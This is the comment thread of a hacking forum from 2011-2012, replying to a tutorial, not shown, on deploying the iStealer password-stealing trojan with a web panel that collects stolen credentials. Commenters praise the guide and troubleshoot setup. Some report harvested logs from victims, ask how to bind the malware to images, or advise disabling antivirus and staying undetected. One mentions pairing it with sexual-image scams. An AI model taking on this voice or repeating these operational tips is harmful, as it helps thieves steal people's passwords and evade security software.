(Jul 24, 2011 11:17 AM)epiceddy Wrote: [\[CITE\]](#) Thanks mate. This helped me out. But sometimes iStealer isnt uploading the passwords tot the database, even if there are passwords stored on the computer. Do you know how to fix this?

iStealer does not steal all the passwords. It is limited to certain applications.

DarKiss - July 25, 2011, 6:06 am

SPAM is not the best ideo to host istealer :) But nice tut!

M0nster™ - July 27, 2011, 9:31 am

Very nice & detailed tutorial, just having a little trouble testing the URL for some reason.

Stenography - July 27, 2011, 9:50 am

iSealer is not so useful because it can't still firefox 4.0 and 5.0 ..

flycon - July 27, 2011, 4:50 pm

i have a problem.

i made all and send the .exe to a person.

he open it and i has all the informations if i logon to the page.

but now if any open the .exe i dont become the informations,

and if i wants to rebuild the .exe with istealer he says me, something is wrong. but i dont edit anything..

Eqinox6 - July 27, 2011, 6:50 pm

This sounds awesome! I'm going to try it out when I get home. ?

Monster.PPD - August 12, 2011, 11:31 am

Many thanks for the last part with Truebug php, i am trying now and it works perfectly !

Prince™ - August 28, 2011, 12:08 am

wow!! A great tutorial ,helped me a hell lot to make a stealer server for me.thank you very much ;D

ormsondo - August 28, 2011, 12:52 am

This is nice, but im certain i did everything right and still gives error when testing URL :(

EDIT: Nevermind, i forgot to click "Save" after i edited Notepad so i uploaded an unedited index.php, now it works :)

badlyfar - August 28, 2011, 12:54 am

Nice tutorial man, very helpful indeed.

mellamin - August 28, 2011, 1:04 am

Nice tutorial man! Thanks for help.

ormsondo - August 28, 2011, 9:14 am

For any of you noobs (i know ironic since i have so low posts but i've been a part of other forums for a long time), just turn off anything similar to "Resident Shield" and "Online Shield" in your antivirus, then let it download, add an exception for the iStealer .exe file, turn everything back on.

THXX for this, now finally i can combine this and pic e-whoring >:-)

billabong_vb - August 28, 2011, 11:18 am

ERally i have Nothing to declar,Thank you iwill try this bomber :p

donnys40 - August 28, 2011, 11:30 am

The iStealer works,Thanks for the tutorail :D!

#AfterDark - August 30, 2011, 9:14 am

great tutorial bro followed step by step and got website to work.

however when i try to open iStealer i get

Spoiler [\(Click to View\)](#)http://i51.[censored].com/2mnrj9c.png

Joey Tribbiani - September 1, 2011, 12:42 pm

Knox, please do not use [censored]. Use imgur.com instead. I am unable to see the image.

SIM-955290 - September 5, 2011, 4:41 am

Thank you! Really nice tutorial, keep going mate :)

-Revolution- - September 9, 2011, 12:55 am

Really helped me !

Thanks a billion man ! ?

bbbaf10r - September 9, 2011, 2:31 am

I will check it.thanks man.good work.

madkid - September 11, 2011, 4:58 pm

Thanks for the tutorial xD and FREE istealer helped a lot bro.

slambergamer - September 12, 2011, 7:31 am

hehe nice TUT!!.. but istealer 6.3 doest seem to be realy good .. got pass and username on filezilla.. but on firefox and google chrome its seems to be nthg.. anyway.. thx very much!!!! pls pm me if i do anythg wrong.. frgive me if i say anythg that hurt ur feelingggg

forgive me.. i think its bcoz i never store any cookie in my pc that why it was nthg.. :)

coolmafiaboy - September 12, 2011, 7:47 am

you are the man ? ?

keep it up ?

TraXxCore - September 12, 2011, 9:03 am

Thanks. Nice Tutorial. Hope its Clean

Lat01 - September 13, 2011, 10:26 am

This looks really nice.

Good job.

//lat01

antigrav - September 21, 2011, 5:03 pm

Great tutorial! Bookmarked, should help me a lot :D

jmvilla - September 21, 2011, 8:20 pm

I never said anything about UD. Its UD for your php file not for your server.

paulos - September 22, 2011, 3:54 am

Nice tutorial dude.

Really helpfull ..

- Thanks for this one! Keep it up :)

firequeen - October 2, 2011, 7:00 pm

Hope is clean and how do I bind to picture file

Strategist - November 14, 2011, 5:01 am

Thanks mate. Nice tutorial. I hope this iStealer is clean :)

enigma55 - November 19, 2011, 6:48 am

Well written tutorial. A zero to hero guide. Keep up the good work.

chacha13 - November 19, 2011, 8:41 am

This is a very helpful tutorial, great work

Marco712 - November 19, 2011, 9:09 am

This is a good tutorial. Very helpful.

Thanks

?Hacker™ - December 2, 2011, 3:05 am

Nice tut, Going to try and set this up now. :)

I'll message you if I have any problems.

Cheers.

Problem. How do I fix this? This happens when I open iStealer.

slambergamer - December 3, 2011, 2:43 pm

i voUCH FOR tHIS guYZ. MY pHp UNDeTECted tiLL nOW It ALReAdY More THen 3 MOnTH anD i HAVe OvER 1.7k LOg TiLL nOW :d tHX TO u

hqasd - January 6, 2012, 4:01 am

Thanks for the tutorial, it really helped.

doridroboy - January 6, 2012, 5:42 am

wowwowowowow,its work and i like it

SIM-947411 - January 6, 2012, 5:45 am

Pretty nice tutorial, only part I didn't like was how you explained the top information in the index.php such as the database username and such.

Thought the Obfuscate part was nice,
:D

watchmanyoo - January 14, 2012, 6:39 pm

I cant see the step 5 pic :(... can someone help me?

my AVG 2012 picked this up right away but i managed to bypass Bitdefender :)

G@m3r8700 - February 9, 2012, 8:32 am

can you give a new link Joey, as filesonic stopped sharing

system - February 9, 2012, 8:41 am

Thanks mate. Nice tutorial. I hope this iStealer is clean :)

SupaBotter - February 9, 2012, 4:18 pm

question. i cant see the passwords. its the same as the emails/usernames. what do i do?

nighty1z - February 9, 2012, 5:02 pm

thanks for tut bro, keep it up...dl stealer and go in action :D

PTSkillz - February 10, 2012, 9:35 am

nice tutorial, im deffinitely going to use it!

McFlurryDaim - February 17, 2012, 4:41 pm

Thanks dude! Awesome tut!

:D to short :/

warlacozte - February 21, 2012, 1:17 pm

just my page that say "iStealer 6.1 Legends - Kizar Labs 2009"

SleazeBeez - February 22, 2012, 7:06 am

really nice tut, gonna try this soon! Thanks dude !

????DRO3D??? - February 22, 2012, 10:29 am

(Feb 9, 2012 09:32 AM)G@m3r8700 Wrote: [\[CITE\]](#) can you give a new link Joey, as filesonic stopped sharing

Yes please a new link would be great . . Thanks

sarsin - February 22, 2012, 11:54 am

Keep it up, bro! Really helpful tutorial!

warlacozte - February 23, 2012, 12:56 pm

update the damn link dude its not working because i need to type in your username to download.
just upload to mediafire or something

Rahul_Rulz - February 23, 2012, 5:08 pm

Please ReUpload it. I need it and some more users too.

Unbanned666 - February 23, 2012, 6:42 pm

For everyone that is looking to do this, please do not use SPAM, they will ban your account. Use <http://byethost.com>

Joey Tribbiani - February 28, 2012, 4:01 am

Re-uploaded to mediafire and removed the stupid adfly. Sorry for the delay.

AlbertoJ - February 28, 2012, 5:00 am

nice tut man. thx a lot. gonna try this later :D

jpo38 - February 28, 2012, 8:12 am

great job! but I think Unbanned666 is right about SPAM.

Pilatus - April 24, 2012, 5:38 pm

Excellent tutorial. Saved me a lot of time.

an???? - April 24, 2012, 8:43 pm

Nice High Quality tutorial, using it already!

Golden Times - April 25, 2012, 7:17 am

So, I did everything like you said, but when I open my website it says:

Quote:TrueBug PHP Loader 2.x is required to execute this script.
Operating System: Linux web19.byetcluster.com 2.6.18-374.12.1.el5.lve0.8.54 #1 SMP Wed Jan 4 18:40:17 EET 2012 x86_64
PHP Version: 5.2.17

What can I do about this?

EDIT: Okay, I solved this, but now I don't get any logs, if someone opens the infected program, what am I doing wrong here?

memeyou - August 4, 2012, 8:30 pm

Picture 5 is confusing, i think i made a mistake in that part.
can you explain it in another way please?

M3ga - August 4, 2012, 11:57 pm

Istealer is the most useless logger don't bother

memeyou - August 6, 2012, 10:21 pm

@M3ga It worked but you're right it brings 2 passwords maximally and sometimes wrong ones ._.

Joey Tribbiani - August 7, 2012, 2:30 am

iStealer is very outdated now.
